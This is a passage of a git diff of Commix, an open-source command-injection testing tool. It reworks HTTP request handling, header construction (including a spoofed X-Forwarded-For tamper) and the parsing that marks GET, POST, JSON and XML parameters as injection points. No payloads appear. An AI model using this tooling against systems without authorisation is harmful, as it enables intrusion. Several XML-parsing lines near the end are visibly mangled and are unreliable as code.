_urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + checks.connection_exceptions(err_msg) + opener = _urllib.request.build_opener(connection_handler()) - if len(settings.HTTP_METHOD) != 0: - request.get_method = lambda: settings.HTTP_METHOD + + # Time limit mechanism. + if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): + raise SystemExit() _ = False - current_attempt = 0 + response = False unauthorized = False - while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: - if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: - if settings.VERBOSITY_LEVEL >= 2: - req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" - print(settings.print_request_msg(req_msg)) - if menu.options.traffic_file: - req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" - logs.log_traffic(req_msg) + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + if any((settings.REVERSE_TCP, settings.BIND_TCP)): + _ = True + if settings.MULTI_TARGETS: + if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = settings.USER_APPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) - page = checks.page_encoding(response, action="encode") _ = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if settings.VALID_URL == False: + settings.VALID_URL = True + if not settings.CHECK_INTERNET: + settings.INIT_TEST = False + + except ValueError as err: if settings.VERBOSITY_LEVEL < 2: - if current_attempt != 0: - info_msg = "Testing connection to the target URL." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.INIT_TEST == True and not settings.UNAUTHORIZED: - print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_INTERNET: - settings.INIT_TEST = False - - except _urllib.error.HTTPError as err_msg: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Invalid target URL has been given." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except AttributeError: + raise SystemExit() + + except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + else: + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg: - if current_attempt == 0: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): - print(settings.SINGLE_WHITESPACE) - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - print(settings.print_warning_msg(warn_msg)) - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - current_attempt = current_attempt + 1 - time.sleep(3) - - except ValueError as err: - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + if not settings.MULTI_TARGETS and not settings.CRAWLING: + pass + else: + if not settings.INIT_TEST: + checks.connection_exceptions(err_msg) + break - except AttributeError: - raise SystemExit() - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if response is False: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() page = checks.page_encoding(response, action="encode") response_headers[settings.URI_HTTP_HEADER] = response.geturl() response_headers = str(response_headers).strip("\n") - if settings.VERBOSITY_LEVEL > 2 or menu.options.traffic_file: - print_http_response(response_headers, code, page) + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(response) + print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) # Checks regarding a potential browser verification protection mechanism. checks.browser_verification(page) # Checks regarding recognition of generic "your ip has been blocked" messages. - checks.blocked_ip(page) + checks.blocked_ip(page) # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except _urllib.error.HTTPError as err: - if settings.VERBOSITY_LEVEL != 0: - print_http_response(err.info(), err.code, err.read()) - - if not settings.PERFORM_CRACKING and \ - not settings.IS_JSON and \ - not settings.IS_XML and \ - not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST: - print(settings.SINGLE_WHITESPACE) - # error_msg = "Got " + str(err).replace(": "," (") + except (_urllib.error.HTTPError, _urllib.error.URLError) as err: + # Checks for not declared cookie(s), while server wants to set its own. + if not menu.options.drop_set_cookie: + checks.not_declared_cookies(err) + try: + if err.fp is None: + raise AttributeError + page = checks.page_encoding(err, action="encode") + except Exception as e: + page = '' + + print_http_response(err.info(), err.code, page) + + if (not settings.PERFORM_CRACKING and \ + not settings.IS_JSON and \ + not settings.IS_XML and \ + not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_URLS_NUM != 0 and \ + not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): + settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: - error_msg = "Non-standard HTTP status code" + error_msg = "Non-standard HTTP status code" pass else: error_msg = str(err).replace(": "," (") if len(str(err).split(": ")[1]) == 0: - err_msg = error_msg + "Non-standard HTTP status code" + err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg - print(settings.print_critical_msg(err_msg + ").")) + + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - # The handlers raise this exception when they run into a problem. - except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err: - if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")): - pass - else: - err_msg = "Unable to connect to the target URL" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if menu.options.bulkfile: - raise - else: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + """ Check for added headers. """ def do_check(request): - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == None: - request.add_header(settings.HOST, menu.options.host) + # Check if defined any Cookie HTTP header. + if menu.options.cookie and not settings.COOKIE_INJECTION: + request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) # Check if defined any User-Agent HTTP header. - if menu.options.agent: - request.add_header(settings.USER_AGENT, menu.options.agent) + if menu.options.agent and not settings.USER_AGENT_INJECTION: + request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent)) # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == None: - request.add_header(settings.REFERER, menu.options.referer) - - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - request.add_header(settings.COOKIE, menu.options.cookie) - - if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER): - request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) + if menu.options.referer and not settings.REFERER_INJECTION: + request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer)) + + # Check if defined any Host HTTP header. + if menu.options.host and not settings.HOST_INJECTION: + request.add_header(settings.HOST, checks.remove_tags(menu.options.host)) + + if not checks.get_header(request.headers, settings.ACCEPT): + request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) + + if not checks.get_header(request.headers, settings.CONTENT_TYPE): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE) # The MIME media type for JSON. - if menu.options.data: + if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", "application/json") + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + + # Default value for "Accept-Encoding" HTTP header + if not (menu.options.requestfile or menu.options.logfile): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - # Appends a fake HTTP header 'X-Forwarded-For' + # Appends a fake HTTP header 'X-Forwarded-For' (and alike) if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) - - # Default value for "Accept-Encoding" HTTP header - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. + # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') - request.add_header("Authorization", "Basic " + b64_string + "") - elif menu.options.auth_type == "digest": + if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER): + err_msg = "HTTP authentication type value must be Basic, Digest or Bearer." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER: + request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip()) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string) + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + try: + url = menu.options.url try: - url = menu.options.url + response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + authline = e.headers.get('www-authenticate', '') + authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups() + realm = authobj[1].split(',')[0].replace("\"", "") + user_pass_pair = menu.options.auth_cred.split(":") + username = user_pass_pair[0] + password = user_pass_pair[1] + authhandler = _urllib.request.HTTPDigestAuthHandler() + authhandler.add_password(realm, url, username, password) + opener = _urllib.request.build_opener(authhandler) + _urllib.request.install_opener(opener) + result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + except AttributeError: + pass + except (_urllib.error.HTTPError, _urllib.error.URLError) as e: + pass + else: - pass - + pass + # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: - if len(settings.RAW_HTTP_HEADERS) >= 1: + if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS: + if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS - # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. if menu.options.headers: - menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers - else: - menu.options.header = checks.wildcard_character(menu.options.header) - extra_headers = menu.options.header - + extra_headers = checks.process_custom_injection_data(menu.options.headers) + elif menu.options.header: + extra_headers = checks.process_custom_injection_data(menu.options.header) + extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") @@ -377,32 +364,57 @@ def do_check(request): if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings and "Content-Length" - extra_headers = [x for x in extra_headers if "Content-Length" not in x] + extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x] else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header - # Remove empty strings - extra_headers = [x for x in extra_headers if x] - + # Remove empty strings and/or duplicates + _ = [x for x in extra_headers if x] + extra_headers = (list(dict.fromkeys(_))) + + if menu.options.data: + # The MIME media type for JSON. + if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ + re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if settings.ACCEPT_ENCODING not in str(extra_headers): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + for extra_header in extra_headers: try: - # Extra HTTP Header name + # Extra HTTP Header name http_header_name = extra_header.split(':', 1)[0] http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and \ - settings.INJECT_TAG in http_header_value: - settings.CUSTOM_HEADER_INJECTION = True - settings.CUSTOM_HEADER_NAME = http_header_name - # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.UNICODE_ENCODING), http_header_value.encode(settings.UNICODE_ENCODING)) + if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if not settings.CUSTOM_HEADER_INJECTION: + if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_HEADER_CHECK = http_header_name + # settings.CUSTOM_INJECTION_MARKER = True + + if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True + settings.CUSTOM_HEADER_CHECK = http_header_name + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = checks.remove_tags(http_header_value) + request.add_header(http_header_name, http_header_value) + + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: + request.add_header(http_header_name, http_header_value) except: pass - + # eof \ No newline at end of file diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 837b5504d8..a97fae4ddd 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,24 +3,27 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import re import os import sys +import json from src.utils import menu from src.utils import settings from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list +from src.thirdparty.odict import OrderedDict """ Get the URL part of the defined URL. @@ -36,22 +39,37 @@ def get_url_part(url): Check if the 'INJECT_HERE' tag, is specified on GET Requests. """ def do_GET_check(url, http_request_method): - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - url = checks.wildcard_character(url) + """ + Grab the value of parameter. + """ + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + + if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: + return False + + if settings.USER_DEFINED_POST_DATA: + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: + return False + if settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True - # Check for REST-ful URLs format. + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + url = checks.process_custom_injection_data(url) + # Check for REST-ful URLs format. if "?" not in url: + settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: - if menu.options.level == 3 or menu.options.header or menu.options.headers: + if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ + len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \ + settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \ + (settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \ + settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: return False - if menu.options.level == 2 : - return False - else: - err_msg = "No parameter(s) found for testing on the provided target URL. " - err_msg += "You must specify the testable parameter(s) and/or " - err_msg += "try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + checks.no_parameters_found() elif menu.options.shellshock: return False return [url] @@ -66,10 +84,17 @@ def do_GET_check(url, http_request_method): # Find the parameter part parameters = url.split("?")[1] # Split parameters - multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + try: + multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + multi_parameters = [x for x in multi_parameters if x] + except ValueError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() + # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list @@ -77,13 +102,9 @@ def do_GET_check(url, http_request_method): _ = [] _.append(parameters) parameters = ''.join(checks.check_similarities(_)) - value = re.findall(r'=(.*)', parameters) - value = ''.join(value) + value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) - # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). @@ -92,20 +113,17 @@ def do_GET_check(url, http_request_method): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) - else: - # Auto-recognize prefix / suffix - if settings.INJECT_TAG in value: - if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - parameters = parameters.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameters = parameters.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) - return urls_list - + return urls_list else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) @@ -114,49 +132,52 @@ def do_GET_check(url, http_request_method): all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag if settings.INJECT_TAG not in url: + for param in range(0,len(all_params)): + # Grab the value of parameter. + value = multi_params_get_value(all_params[param]) for param in range(0,len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of parameter. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) + value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(value) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) else: for param in range(0,len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) + value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - # Reconstruct the URL - url = url_part + "?" + parameter + # Reconstruct the URL + url = url_part + "?" + parameter + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) - return urls_list + return urls_list """ Define the vulnerable GET parameter. """ def vuln_GET_param(url): - urls_list = [] # Define the vulnerable parameter if "?" not in url: # Grab the value of parameter. @@ -164,100 +185,214 @@ def vuln_GET_param(url): value = ''.join(value) vuln_parameter = re.sub(r"/(.*)/", "", value) - elif re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ + elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + if settings.CUSTOM_INJECTION_MARKER: + try: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break - else: vuln_parameter = url - return vuln_parameter + if 'vuln_parameter' not in locals(): + return url + + if settings.USER_DEFINED_POST_DATA and vuln_parameter: + settings.IGNORE_USER_DEFINED_POST_DATA = True + + return vuln_parameter """ Check if the 'INJECT_HERE' tag, is specified on POST Requests. """ def do_POST_check(parameter, http_request_method): - # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. - parameter = checks.wildcard_character(parameter).replace("'","\"") + """ + Grab the value of parameter. + """ + def multi_params_get_value(param, all_params): + + def is_empty_json_str(s): + try: + return json.loads(s) == {} + except Exception: + return False + + # Check if parameters are empty or meaningless + if (len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or is_empty_json_str(all_params[0])))): + checks.no_parameters_found() + + if settings.IS_JSON: + value = re.findall(r'\:(.*)', all_params[param]) + if not value: + value = all_params[param] + value = ''.join(value) + if value.endswith("\"}"): + value = (value[:-len("}")]) + if checks.quoted_value(value) and any(_ in "[]{}" for _ in value): + value = value.replace("\"","") + else: + value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value) + elif settings.IS_XML: + value = re.findall(r'>(.*)\s*<", '>\n<', parameter).replace("\\n","\n") + parameter = re.sub(r">\s*<", ">" + settings.PARAMETER_DELIMITER + "<", parameter) _ = [] parameters = re.findall(r'(.*)', parameter) - parameters = [param + "\n" for param in parameters if param] + parameters = [param for param in parameters if param] for value in range(0,len(parameters)): _.append(parameters[value]) multi_parameters = _ - else: + else: try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) - multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ - not settings.IS_JSON and \ - not settings.IS_XML: - checks.inappropriate_format(multi_parameters) + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ + # not settings.IS_JSON and \ + # not settings.IS_XML: + # return "" + if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)): + checks.no_parameters_found() + + _ = [] + _.append(parameter) + parameter = ''.join(checks.check_similarities(_)) # Check if single parameter is supplied. if len(multi_parameters) == 1: if settings.INJECT_TAG not in multi_parameters[0]: # Grab the value of parameter. if settings.IS_JSON: # Grab the value of parameter. - value = re.findall(r'\"(.*)\"', parameter) - value = ''.join(value) - if value != settings.INJECT_TAG: - value = re.findall(r'\s*\:\s*\"(.*)\"', parameter) - value = ''.join(value) + value = multi_params_get_value(0, checks.check_similarities(_)) elif settings.IS_XML: # Grab the value of parameter. value = re.findall(r'>(.*)(.*)(.*)" + settings.INJECT_TAG + "" + settings.INJECT_TAG + "(.*)]+)", parameter): - vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) - vuln_parameter = re.findall(r"" + "([^" + settings.END_LINE.LF + "'), '', item) + if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item: + item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + _ = (re.search('<(.*)>' + result + '', item)) + if _ and (_.groups()[0]) == (_.groups()[1]): + vuln_parameter = ''.join(_.groups()[0]) + if settings.CUSTOM_INJECTION_MARKER: + try: + 